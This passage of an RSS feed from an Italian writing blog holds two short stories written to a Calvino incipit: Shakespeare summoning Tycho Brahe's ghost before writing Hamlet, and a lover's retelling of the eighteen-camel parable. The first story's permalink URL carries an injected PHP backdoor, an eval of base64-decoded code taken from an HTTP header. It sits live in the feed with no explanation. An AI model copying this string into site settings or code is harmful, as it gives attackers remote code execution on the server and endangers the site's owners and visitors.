“Leggendo la vostra storia potrete essere sconfitti.”<br />
“No!” urla la vecchia, mentre il giovane cerca di afferrarla, ma tutto quello che si ritrova tra le mani è aria.<br />
“Ecco io adesso non vorrei che questo disagio risvegliato in me dal tuo arrivo improvviso…”<br />
comincia a recitare, e tutto quel mondo prende a sgretolarsi.<br />
“Mi dispiace di averti messo a disagio.” continua…<br />
L’ultimo rigo che legge le sembra non avere senso, è senza inizio né fine, ma non ha importanza perché dopo di quello il mondo che lei conosce tornerà al proprio posto.<br />
“… la casa con saggezza sembra abbia approfittato dei tuoi momenti d’euforia per prepararsi a … ”</p>
]]></content:encoded>
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		<item>
		<title>La notte del dubbio - BorgoRacconto</title>
		<link>http://www.borgonarrante.it/2009/04/23/la-notte-del-dubbio-borgoracconto/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
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		<pubDate>Thu, 23 Apr 2009 05:05:02 +0000</pubDate>
		<dc:creator>Borgonarrante</dc:creator>
		
		<category><![CDATA[Borgonarrante]]></category>

		<guid isPermaLink="false">http://www.borgonarrante.it/?p=2514</guid>
		<description><![CDATA[<b> Racconto ad incipit </b><br />
…  reiterare ciò che è condannato dalla legge di   …<br />
<i> l’<b> Autore del giorno </b>potrà utilizzare l’apposito nick per non svelare la propria identità. </i>]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><strong><span style="color: rgb(0, 128, 0);">La proposta di scrittura prevedeva che il racconto iniziasse dal seguente Incipit:</span></strong></p>
<p><span id="more-2514"></span></p>
<p><span id="more-2505"></span></p>
<p style="text-align: left;">“Ecco io adesso non vorrei che questo disagio risvegliato in me dal … ”</p>
<p style="text-align: left;"><span style="color: rgb(0, 128, 0);"><strong>inoltre era previsto che nel testo apparisse la seguente frase:</strong></span></p>
<p style="text-align: left;">“… la casa con saggezza sembra abbia approfittato dei tuoi momenti d’euforia per prepararsi a … ”</p>
<h6 style="text-align: left;"><span style="color: rgb(128, 0, 128);"><em>(sia la frase incipit che quella da inserire obbligatoriamente&nbsp; sono tratte dal romanzo “Se una notte d’inverno un viaggiatore di&nbsp; Italo Calvino.)</em></span></h6>
<p style="text-align: left;">era facoltà dell’Autore richiamare in qualche modo, nel suo testo, l’immagine sottostante.</p>
<p align="center"><img class="aligncenter size-full wp-image-2468" title="gabrielle_d_estrees_borgo" src="http://www.borgonarrante.it/wp-content/uploads/2009/04/gabrielle_d_estrees_borgo.jpg" alt="gabrielle_d_estrees_borgo" width="379" height="276"/></p>
<p align="center">
<h1 style="text-align: center;"><span style="color: rgb(255, 102, 0);">La notte del dubbio</span></h1>
<p>&#8220;Ecco io adesso non vorrei che questo disagio risvegliato in me dal reiterare ciò che è condannato dalla legge di Dio e degli uomini rendesse più fragile la mia determinazione: in verità nulla di ciò che si compie è giusto o sbagliato ma è il pensiero che lo guida a renderlo tale.&#8221;  Così andava ragionando la persona incappucciata che, uscita da una casa in Bishop Gate, s’incamminava a passo rapido stando il più accosto possibile ai muri della chiesa di St. Helens.<br />
Sulla quarantina, dal portamento eretto e agile, quell&#8217;uomo possedeva un volto particolare, dove una rada barba grigia e un’alta stempiatura che si spingeva sino al sommo del capo parevano espedienti studiati sapientemente per mettere in risalto lo sguardo intelligente e curioso. Ma esibire quel viso ed essere riconosciuto era quanto di più lontano dai suoi desideri, per questa ragione aveva atteso l&#8217;oscurità e accolto come un dono gradito la nebbia che, risalita dal Tamigi, rendeva la sua invisibilità quasi perfetta.<br />
Sempre di buon passo, si diresse un tratto verso ovest, oltrepassò la chiesa di San Paolo per poi svoltare a sud, attraversando la zona che un tempo ospitava il monastero dei Blackfriars e, scesi alcuni scalini, si arrestò infine sulla riva del fiume.<br />
Qui l’uomo emise due fischi cadenzati, evidentemente un segnale. Infatti, la luce di una lanterna venne fatta dondolare poco distante, dove una piccola imbarcazione era accostata all’attracco. Senza una parola l’incappucciato vi prese posto e il barcaiolo iniziò a vogare prendendo subito il filo della corrente.<br />
- Solito posto, mio signore?-<br />
- Solito posto, e stai attento che all’approdo non vi sia alcuno.-<br />
- Non dubitate, con questa serata da fantasmi e spiriti malvagi la gente se ne sta rintanata nelle case oppure a bere birra nelle taverne.-<br />
L’incappucciato trasalì a queste parole. Possibile che il barcaiolo sapesse più di quanto doveva? Poi scrollò le spalle: il popolino era superstizioso e molte leggende circolavano, sussurrate di bocca in bocca. L’importante era che non ci fosse gente per le strade: il suo volto era familiare in tutta Londra, e non solo tra il popolino.<br />
Il suo scopo e la sua meta dovevano restare assolutamente segreti. Per questa ragione doveva affidarsi al barcaiolo: attraversare il Bridge era fuori discussione, più che il rischio vi era la certezza di incappare nella ronda e di dover fornire spiegazioni.<br />
L’uomo alla voga interruppe il filo dei suoi pensieri.<br />
- Signore, che notizie avete della Regina? E’ così malata come si dice?-<br />
La Regina Elisabetta, che lo aveva onorato del suo favore, che aveva voluto le fosse presentato, e al primo incontro ne erano seguiti altri. La Regina dalla grande intelligenza, dall’acuto senso critico e dal grande sapere, tutte cose che lo avevano dapprima piacevolmente stupito e poi pervaso di un profondo senso di rispetto, ricordò con tristezza l’incappucciato.<br />
- Sì, mio buon Harry, ella forse ci dovrà abbandonare presto e si preparano tempi difficili, non avere eredi lascia i Tudor senza un successore, temo che molti pretendenti si faranno avanti non senza spargimento di sangue.-<br />
- E’ triste ciò che dite, mio signore. Sentiremo molto la mancanza della buona regina Bess.-<br />
Senza più domande, Harry governò in modo da scendere il fiume tagliando nello stesso tempo verso la riva opposta e, lasciandosi andare a qualche imprecazione per la difficoltà di trovare i riferimenti nella nebbia, prese infine terra a South Wark, non lontano dal Globe.<br />
- Aspettami qui, tornerò prima del chiarire dell’alba, ma se non mi vedessi ancora al battere delle sette, va via e dimentica di avermi visto.-<br />
- Che il Cielo vi sia propizio, mio signore.–<br />
- Non è nelle stelle che è conservato il nostro destino, ma in noi stessi, ricordalo sempre mio buon Harry. Ma comunque, grazie.-<br />
Il passeggero non aveva dubbi, il barcaiolo era un uomo fedele e lo avrebbe atteso, e poi la ricompensa era generosa, come le altre volte.<br />
Presa la lanterna, s’incamminò lungo una stradina che dal fiume, evitando il Globe e la fila di casupole che si affollava sulla riva, pareva perdersi nella campagna. Era evidente che conoscesse la via, tanto era sicuro il passo pure alla scarsa luce della lanterna.<br />
In pochi minuti arrivò a un’alta siepe di tasso che racchiudeva uno spazio incolto e un’abitazione fatiscente. Strani arbusti contorti e privi di foglie gareggiavano con i rami adunchi di un’antica quercia a rendere spettrale l’angusto sentiero che conduceva alla porta della casa.<br />
Un lume acceso e il battente semiaperto stavano a indicare che l’ospite non giungeva inaspettato.<br />
Senza esitare l’uomo varcò la soglia e si ritrovò in un ambiente illuminato soltanto da un camino acceso. Tre figure avvolte in panni lerci e rattoppati erano intente a una discussione con toni da cantilena:<br />
- Dove sei stata, sorella?-<br />
- Ad ammazzare porci.-<br />
- E tu sorella, dove?-<br />
- La moglie di un marinaio aveva nel grembiale delle castagne e biascicava, e biascicava: &#8220;Dammene un po&#8217;&#8221;, faccio io. &#8220;Fatti in là, strega!&#8221; grida quella rognosa cibata di frattaglie. E allora… ma il nostro ospite è arrivato, sorelle, su, che non ci paga generosamente per udire i nostri discorsi da vecchie.-<br />
- No, no - disse l’uomo che nel frattempo, liberatosi del mantello, si era seduto su di uno sgabello sgangherato. - il vostro parlare è interessante, mai arriverei a immaginarlo dovessi io scriverlo dal nulla.-<br />
- Vossignoria è sempre molto buono con noi - rispose untuosamente la donna che aveva parlato per prima, e così facendo voltò il viso verso l’uomo che, pur non essendo la prima volta, non seppe trattenere una piccola smorfia di disgusto alla vista di quel volto oscenamente grinzoso e quasi barbuto, tanta e tanto fitta era la peluria giallastra che ne ricopriva labbra e mento.<br />
La vecchia parlava anche in nome delle altre, quasi bisbigliando:<br />
- Tutto è preparato secondo la vostra richiesta, ma né il cielo, che sia maledetto, né la profondità dove regnano fiamme e tormenti, possono assicurare che avverrà ciò che volete che avvenga.-<br />
- Ben lo so, non abbiate preoccupazione, che il vostro compenso è garantito in ogni caso, tranne quello in cui le fiamme dell’inferno ghermiscano pure me.-<br />
- Siate prudente e parlate solo quando ne avrete il nostro permesso, senza mai offendere e soprattutto senza nominare o invocare il cielo né i santi o altri che non sia colui che verrà. In questo caso tutto andrà per il meglio.-<br />
- Molto bene, sarò prudente, ma ora è tempo di iniziare. Dal passato ho capito che l’evocare gli spettri, specialmente quando se n’invoca uno in particolare, è cosa che non si compie senza attese e inganni.-<br />
E molto tempo passò infatti, durante il quale le tre megere, liberatesi dai vestiti, a tratti danzavano urlando parole incomprensibili, in altri momenti si gettavano a terra distese, mormorando oscene cantilene; più volte orrende forme presero corpo nella cappa del camino, scheletri ghignanti ancora riempiti di visceri, corpi mutilati e corrotti, ectoplasmi a contorcersi sopra le fiamme sfrigolanti, ma furono tutti respinti e dissolti da gesti e grida delle celebranti quel rito demoniaco.<br />
L’uomo, apparentemente calmo ma intimamente atterrito, assisteva in silenzio dall’angolo più distante, sino a quando apparve una forma completamente umana tranne per la mancanza quasi totale del naso. Era senz’altro colui che era atteso: si sapeva come avesse perduto il naso per un colpo di spada nel corso di un duello e in vita portasse una protesi d’oro, certo rimasta nel sepolcro assieme ai suoi resti mortali.<br />
- Ora potete parlare, ma rammentate ciò che vi abbiamo detto – sussurrò una delle streghe.<br />
L’uomo si fece avanti, cercando con tutta l’arte di cui era in possesso di celare l’emozione e la paura.<br />
- Siete voi quel Tycho Brahe che scrutando il cielo da Uraniborg, nel regno di Danimarca, svelò tanti misteri del cosmo sino a quando perì di malattia subitanea, almeno così dicono, non più di un anno orsono?-<br />
- Sì, io fui quell’uomo di scienza, acclamato e onorato nel regno di Danimarca e non solo, e ora condannato a errare nella notte per molto tempo fin che siano purgati i peccati da me commessi in terra. Ebbi nel mio letto centinaia di donne lascive, ira, gola e superbia furono altri miei peccati. Ma a portarmi anzitempo tra le fiamme degli inferi non fu la malattia.-<br />
- Questo è il mormorio che, scavalcando il mare, giunse sin qui ed essendo io in procinto di scrivere del regno di Danimarca, mi spinse a evocarvi. Si è affermato che voi foste colpito da ferale malore al termine di un grande banchetto, dove vi fu esagerazione da parte vostra nell’onorare cibi e bevande. Non fu così?-<br />
- Dunque ascolta! Se mai pietà alberga nel tuo cuore, tu devi rendere noto a tutti il mio assassinio!-<br />
- Assassinio? Allora non fu una morte naturale la vostra, seppure improvvisa e dolorosa?-<br />
- Turpe assassinio, qual è in ogni caso anche il più giusto; ma questo fu di tutti il più nefando, il più mostruoso e il più innaturale.-<br />
- Ditemi tutto, affrettatevi che l’alba s’avvicina.-<br />
- Ascolta, è voce generale ch&#8217;io sia morto per quel terribile malore mentre dormivo nel giardino: è così che gli orecchi dei Danesi e del mondo tutto sono stati ingannati da una falsa versione dell&#8217;evento. Sappi, invece, che mano assassina fu quella di mio cugino Erik, ma colui che lo mandò a togliermi la vita fu mio figlio!-<br />
- Vostro figlio? Ma è mostruoso!-<br />
- Ancora più mostruoso ti apparirà quando saprai che il figlio dannato in eterno per questo delitto è colui che regge lo scettro di Danimarca e ignobilmente si chiama Cristiano, quarto del suo nome.-<br />
- Ma come potete voi, uomo di scienza, aver per figlio un monarca regnante?-<br />
- Oh, è facile. Quell&#8217;adultera bestia lasciva che fu moglie del precedente sovrano, con me giacque più volte e insieme generammo quel mostro che mai fu rinnegato e divenne il principe erede al trono di Danimarca. Una volta divenuto re e reso edotto da un cortigiano delle sue vere origini, egli prese ad odiarmi nel timore assurdo che io un giorno potessi rivelare la verità, causando così la mia e la sua rovina.-<br />
- Io non posso che credervi, può mai uno spettro dannato mentire? Quel regno è dunque corrotto ancor più di quanto io avessi immaginato. Ma dite, se la cosa non vi causa troppo dolore, come avvenne la vostra uccisione? Fu davvero cosa tanto abile da trarre tutti in inganno?-<br />
- Abile e vile. Già conosci che il giorno della mia morte io partecipai a un convivio, ma si trattò di qualcosa di più. Gola e lussuria furono i peccati che commettemmo, per il troppo cibo servito e per due femmine discinte che iniziarono a toccarsi tra loro il seno,  e poi altro ancora.  E come le cagne in calore aizzano i maschi a gettarsi su di loro, così fecero quelle peccatrici che infine si concessero senza vergogna alle voglie di ciascun commensale.-<br />
- Fu dunque un’orgia degna più di Babilonia che della cristiana Danimarca?-<br />
- Così fu, per la dannazione dell’anima mia. Avvenne che dopo aver gustato i cibi, essermi abbandonato all’allegrezza portata dalle libagioni ed essermi preso il piacere che una di quelle femmine mi offriva, provato dal vino e dalle fatiche dell’amore io mi ritirai nei miei appartamenti. Tu forse conosci quella sensazione, quando la casa con saggezza sembra abbia approfittato dei tuoi momenti d’euforia per prepararsi a riceverti nel più accogliente dei modi. Così, mollemente cullato dalla mia illusione di sicurezza e riposo, mi addormentai nel giardino; e in quel sonno mi sorprese l’uccisore, con una fiala piena d&#8217;infame succo di quisquiano, e dentro il padiglione dell&#8217;orecchio mi versò quella lebbra distillata d&#8217;effetto sì nemico al sangue umano da serpeggiare come argento vivo e far che il sangue si rapprenda, come in latte aceto a gocce.<br />
Così fui spogliato della mia vita, falciato senza comunione, senza poter contrire la mia anima, spedito a rendere il mio conto a Dio col fardello di tutti i miei peccati.-<br />
- Orribile! Tremendamente orribile!-<br />
- Se conservi in te natura d&#8217;uomo, non consentire che il regno di Danimarca resti impunito. Rendi noto al mondo quale nido di lussuria, incesti ed assassini siano le mura di Elsinore.<br />
Ma sento già il respiro del mattino, è forza ch&#8217;io ti lasci&#8230; Addio.-<br />
Il fuoco nel camino si spense sfrigolando come se qualcuno vi avesse gettato un secchio d’acqua, lasciando la stanza nell’oscurità rotta solo dal rosseggiare di qualche brace. Le tre streghe, oppresse da un’invincibile spossatezza crollarono al suolo pronunciando un’ultima bestemmia.<br />
L’uomo, svanita di colpo la tensione e la paura che lo avevano dominato per lunghe ore, si sentiva a sua volta molto provato ma, come lo spettro, doveva affrettarsi: l’alba oramai era prossima.<br />
Gettò sul pavimento un borsellino con dieci corone, il prezzo pattuito per quella spaventosa nottata come per le altre che l’avevano preceduta, poi si avvolse nel mantello e uscì.<br />
Non era tranquillo mentre ripercorreva la strada verso il luogo dove l’attendeva il barcaiolo. Ciò cui aveva assistito era al di sopra della comprensione ma certamente metteva a rischio la sua vita, la sua fortuna, la sua anima. Valevano tanto la fama, gli onori e il denaro?  &#8220;Dubbi, sempre dubbi&#8221;, pensò. &#8220;Essi sono dei traditori che spesso fanno perdere ciò che si potrebbe ottenere soltanto perché non si ha il coraggio bastante per tentare&#8221;.<br />
Sì, era un rischio che valeva la pena di correre, anche questa volta aveva avuto nuove, terribili rivelazioni. La sua memoria, allenata in tanti anni di mestiere d’attore, era in grado di rammentare tutto ciò che aveva udito quella notte e lo avrebbe usato per rendere ancora più efficace il nuovo lavoro. Certo non poteva scrivere la verità, ma poteva impiegare metafore e ricalcare situazioni.<br />
In giornata avrebbe iniziato una profonda revisione del testo che aveva già abbozzato. Se non vi fossero stati imprevisti, entro un mese avrebbe convocato la compagnia per le prove.<br />
Così ragionando giunse in riva al Tamigi. Già lanciava un segno di intesa al barcaiolo, ma si voltò un momento a guardare la sagoma massiccia del Globe che si stagliava nel diradarsi della nebbia.<br />
Sorrise al pensiero che poneva fine a ogni altro ragionamento:<br />
- Il dubbio è meglio lasciarlo nell&#8217;anima e sulla bocca dei miei personaggi; presto la folla gremirà quel teatro per applaudire il nuovo dramma. Lo intitolerò “La tragica storia di Amleto, principe di Danimarca”.-</p>
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		<title>Il diciottesimo cammello - BorgoRacconto</title>
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		<pubDate>Wed, 22 Apr 2009 05:48:32 +0000</pubDate>
		<dc:creator>Borgonarrante</dc:creator>
		
		<category><![CDATA[Borgonarrante]]></category>

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		<description><![CDATA[<b> Racconto ad incipit </b><br />
…  una banale discussione non dilagasse come il     …<br />
<i> l’<b> Autore del giorno </b>potrà utilizzare l’apposito nick per non svelare la propria identità. </i>]]></description>
			<content:encoded><![CDATA[<p style="text-align: left;"><strong><span style="color: #008000;">La proposta di scrittura prevedeva che il racconto iniziasse dal seguente Incipit:</span></strong></p>
<p><span id="more-2505"></span></p>
<p style="text-align: left;">“Ecco io adesso non vorrei che questo disagio risvegliato in me dal … ”</p>
<p style="text-align: left;"><span style="color: #008000;"><strong>inoltre era previsto che nel testo apparisse la seguente frase:</strong></span></p>
<p style="text-align: left;">“… la casa con saggezza sembra abbia approfittato dei tuoi momenti d’euforia per prepararsi a … ”</p>
<h6 style="text-align: left;"><span style="color: #800080;"><em>(sia la frase incipit che quella da inserire obbligatoriamente  sono tratte dal romanzo “Se una notte d’inverno un viaggiatore di  Italo Calvino.)</em></span></h6>
<p style="text-align: left;">era facoltà dell’Autore richiamare in qualche modo, nel suo testo, l’immagine sottostante.</p>
<p align="center"><img class="aligncenter size-full wp-image-2468" title="gabrielle_d_estrees_borgo" src="http://www.borgonarrante.it/wp-content/uploads/2009/04/gabrielle_d_estrees_borgo.jpg" alt="gabrielle_d_estrees_borgo" width="379" height="276" /></p>
<p align="center">
<h1 style="text-align: center;"><span style="color: #ff6600;">Il diciottesimo cammello</span></h1>
<p style="margin-bottom: 0cm;">
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Ecco, io adesso vorrei che questo disagio risvegliato in me da una banale discussione non dilagasse come il Tanaro nei campi, quando in autunno gli bastano tre giorni di pioggia per frantumare gli argini. Io così solido, io dal carattere massiccio, ho certi argini più fragili del fiume. E so come inizia l’alluvione, piccole falle che vanno a ingigantirsi senza che le possa tamponare. Succede raramente, per fortuna. Di solito sono io che mi diverto ad attaccare briga di parole, vado a sguazzo nelle liti, m’inebrio alla mia voce che ragiona e che sconfigge. Perché la dialettica per me è il predominio mio sugli altri, il rigirargli contro frasi intere usando le armi improprie della logica stringente e della battuta pronta. Prevalgo sempre, in campo aperto. Ma se incontro qualcuno che mi si oppone col silenzio, qualcuno che contrasta il mio fiume di parole con una sola goccia di voce che va a deporre lì dove ho la falla che non vedo, allora rischio che si sgretoli il mio argine. </span></span></p>
<p style="margin-bottom: 0cm;" align="justify"><span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Ascolta, Lella, cosa m’è successo l’altro giorno:</span></span></p>
<p style="margin-bottom: 0cm;" align="justify"><span style="font-family: Times New Roman,serif;"><span style="font-size: medium;"><em>Discutevamo del piano-ferie, una splendida palestra per tenere in allenamento lingua ed ego. Avevo colto tutti in contropiede, snocciolando uno sull’altro i motivi ineccepibili per cui toccava a me scegliere il periodo migliore, senza trattative o compromessi. Avevo rintuzzato le obiezioni di ciascuno, ricordando precedenti che deponevano a mio favore e dimostrando l’inconsistenza dei diritti altrui. Uno dopo l’altro tutti avevano ceduto, incapaci alla distanza di arginare i miei ragionamenti. Solo Ettore taceva. Non aveva accampato alcuna richiesta, ma proprio il suo silenzio m’irritava come un rimprovero. </em></span></span></p>
<ul>
<li>
<p style="margin-bottom: 0cm;" align="justify"><span style="font-family: Times New Roman,serif;"><span style="font-size: medium;"><em>E 	tu? Avrai pure un’opinione, perdio-, lo avevo incalzato io che 	avevo una gran voglia di menar la lingua sul grugno di qualcuno.</em></span></span></p>
</li>
</ul>
<p style="margin-bottom: 0cm;" align="justify"><span style="font-family: Times New Roman,serif;"><span style="font-size: medium;"><em>Lui scuoteva il capoccione, come un mulo al fastidio delle mosche, e non si decideva a dire. Non mi era sfuggito il suo gesto di dissenso e mi ci ero appeso come a un appiglio solido in parete, non per curiosità del suo  pensiero ma per innescare una rissa di parole.</em></span></span></p>
<ul>
<li>
<p style="margin-bottom: 0cm;" align="justify"><span style="font-family: Times New Roman,serif;"><span style="font-size: medium;"><em>Eh 	no! Non te la puoi cavare così. È evidente che non sei d’accordo, 	allora abbi il coraggio di dirlo.- ripresi, per stanarlo.</em></span></span></p>
</li>
<li>
<p style="margin-bottom: 0cm;" align="justify"><span style="font-family: Times New Roman,serif;"><span style="font-size: medium;"><em>Cosa 	vuoi che ti dica, io sono più a monte, non ci possiamo incontrare a 	metà discorso.</em></span></span></p>
</li>
<li>
<p style="margin-bottom: 0cm;" align="justify"><span style="font-family: Times New Roman,serif;"><span style="font-size: medium;"><em>Ma 	che cavolo vuol dire? A monte di che? Non fare il misterioso, 	esprimi le tue richieste, usa le parole, contraddicimi se riesci, 	mostra il mio torto, accampa i tuoi diritti se ne hai, ma non fare 	il saggio da tre soldi.</em></span></span></p>
</li>
</ul>
<p style="margin-bottom: 0cm;" align="justify"><span style="font-family: Times New Roman,serif;"><span style="font-size: medium;"><em>Ettore aveva sospirato, allargando appena le braccia:</em></span></span></p>
<ul>
<li>
<p style="margin-bottom: 0cm;" align="justify"><span style="font-family: Times New Roman,serif;"><span style="font-size: medium;"><em>È 	che sto pensando. Basterebbe il diciottesimo cammello, se lo avessi. 	Sarebbe così semplice. Ma è inutile spiegartelo, sei troppo 	arroccato nel castello di diritti solo tuoi e torti altrui, per 	poter capire.</em></span></span></p>
</li>
</ul>
<p style="margin-bottom: 0.42cm;" align="justify"><span style="font-family: Times New Roman,serif;"><span style="font-size: medium;"><em>E se n’era andato così, senza nemmeno provare a contrastarmi. La riunione s’era conclusa con la piena accettazione della mia linea. Avrei dovuto sentirmi soddisfatto. Ma quel cammello, di cui non sapevo nulla, scalciava dentro la mia testa in modo minaccioso.”</em></span></span></p>
<p style="margin-bottom: 0.42cm;" align="justify">
<p style="margin-bottom: 0.42cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">È per questo che sei venuto a trovarmi? Perché faccia sparire il tuo disagio prima che dilaghi?”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify"><span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Non c’era aria di rimprovero nelle parole di Lella. Piuttosto la donna sembrava divertirsi ai problemi esistenziali del suo uomo. </span></span></p>
<p style="margin-bottom: 0cm;" align="justify"><span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Michele non rispose, aveva la faccia immersa tra i suoi seni.</span></span></p>
<p style="margin-bottom: 0.42cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Il mio cagnone, abbaia ai tuoni ma ha paura del silenzio.”</span></span></p>
<p style="margin-bottom: 0.42cm;" align="justify"><span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Michele aprì un occhio, aveva in primo piano un capezzolo, sembrava enorme, lo prese tra i denti, strinse, forse con troppa foga, poi se ne pentì.</span></span></p>
<p style="margin-bottom: 0.42cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Vorrei essere una donna per trattare con più grazia le tue fragole. Tenerne una con la punta delle dita, come per mostrarla al mondo, poi sfiorarla con le labbra, assaggiarla con la lingua, incantarmi al suo sapore.”</span></span></p>
<p style="margin-bottom: 0.42cm;" align="justify"><span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Lella lo lasciava dire e lo lasciava fare. Aveva continuato a carezzargli i capelli sulla nuca anche quando lui aveva serrato i denti in una morsa esagerata. Gli piaceva la sua voracità improvvisa e il pentimento che spesso ne seguiva.</span></span></p>
<p style="margin-bottom: 0.42cm;" align="justify"><span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Si amarono, come sempre facevano, un po’ di furia e un po’ con noncuranza. Era il loro modo di integrarsi, fondere la spavalderia a tratti timida di Michele con l’allegria di lei,  vagamente malinconica.</span></span></p>
<p style="margin-bottom: 0.42cm;" align="justify"><span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">L’uomo uscendo dalla doccia prese a gironzolare per casa. Lella non si mosse dal letto, ma con la mente lo seguì attraverso i piccoli rumori di cose toccate e subito rimesse dove stavano. Si accese una sigaretta e attese compiaciuta il suo ritorno.</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">I tulipani nelle bottiglie vuote, le padelle appese in mostra ai muri di cucina, il tappeto folto del soggiorno da camminarci scalzo, i petali sfioriti a rivivere nell’ottone di una conca, la musica che sbuca inaspettata, la scacchiera in corso sulla madia, i libri aperti e sparsi sul divano, il gelsomino che s’arrampica in balcone.  Minimi dettagli che mi piace ritrovare, identici e sempre rinnovati, quando vengo qui. Passami un’espressione un po’ pomposa…”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Che non sia troppo retorica, se no ti rido in faccia.”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">La casa con saggezza sembra abbia approfittato dei tuoi momenti d’euforia per prepararsi al mio arrivo.”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Ahahah, un po’ pomposa, dicevi? Ahah, ma è TERRIBILMENTE pomposa, ‘na pompa magna. E ti avevo avvertito, ahahah.”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Dai, non ridere, sai bene che cosa volessi dire. La tua casa è confortevole, cioè mi dà conforto, come te.”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">See, mi trovi confortevole come un letto dove scopi bene. Vero, il mio porcino?”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Ma perché con te perdo la mia parlantina sciolta, mi si spunta la battuta tagliente e fa acqua la dialettica che tanto impressiona gli altri?”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Forse proprio perché qui stai bene e non hai bisogno di dimostrare niente.”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Già, fuori di qui, invece, è sempre una battaglia e io mi difendo con l’attacco. A proposito tu la conosci la storia dei diciotto cammelli?”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Erano diciassette.”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">No, no. Sono sicuro che Ettore avesse parlato di diciottesimo.”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Appunto. I cammelli erano diciassette, da dividere tra tre fratelli secondo la volontà del padre: metà al maggiore, un terzo al secondogenito e un nono al terzo.”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">E allora?”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Allora non c’era verso di fare questa divisione. I tre fratelli erano pronti a fare pezzi un animale o a scannarsi tra di loro pur di risolvere la faccenda, quando arrivò un saggio. Ascoltò, sorrise e diede loro il suo cammello.”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Il diciottesimo.”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Già. E con diciotto la suddivisione diventava facile. Capisci, Michele?”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Sì, sì, la solita favoletta buonista. Avevo ragione a dire che Ettore è un cretino. Cosa pretendeva, che facessi io la parte dell’idiota che ci rimette un cammello per il quieto vivere comune?”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Eh, Michele mio, sei tanto intelligente eppure a volte sei ottuso. Prova a fare la somma dei cammelli.”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Nove al primo, sei al secondo, due al terzo, fa…cazzo, fa diciassette!”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Già, alla fine il saggio s’è ripreso il suo cammello, ma nel frattempo ha risolto un problema che pareva insormontabile.”</span></span></p>
<p style="margin-bottom: 0cm;" align="justify"><span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Michele si fece pensieroso. Per un istante riaffiorò il disagio. Ma a casa di Lella tutto sembrava meno complicato.</span></span></p>
<p style="margin-bottom: 0cm;" align="justify">“<span style="font-family: Times New Roman,serif;"><span style="font-size: medium;">Mmhm, domani prima strozzo Ettore e poi cancello le ferie. Fanculo alla dialettica e fanculo anche al disagio.”</span></span></p>
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